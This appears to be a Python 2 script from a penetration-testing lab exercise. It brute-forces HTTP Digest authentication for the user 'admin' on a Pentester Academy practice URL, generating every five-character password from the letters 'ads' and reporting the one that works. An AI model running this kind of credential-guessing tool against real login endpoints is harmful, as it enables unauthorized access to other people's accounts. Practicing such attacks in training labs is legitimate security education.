import itertools, sys
from urllib2 import *

def passgen(universe,l):
    wl = []
    for i in itertools.product(universe,repeat=5):
        wl.append("".join(i))
    return wl

def digestcrack(username, password, url, realm):
    authandler = HTTPDigestAuthHandler()
    authandler.add_password(realm, url, username, password)
    opener = build_opener(authandler)
    install_opener(opener)
    try:
            page = urlopen(url)
    except HTTPError as e:
            return 'fail'
    else:
            print 'username: '+username+' password: '+password
            return 'pass'

def digestbrute(username):
    url = "http://pentesteracademylab.appspot.com/lab/webapp/digest/1"
    realm = 'Pentester Academy'
    if len(sys.argv) < 2:
        wl = passgen("ads",1)
    else:
        wl = [sys.argv[1]]
    for password in wl:
        r = digestcrack(username, password, url, realm)
        if r != 'fail':
            print ('got %s!'%r)
            print ('hell yeah!')
            break
        else:
            print username
            print password
            print r
digestbrute('admin')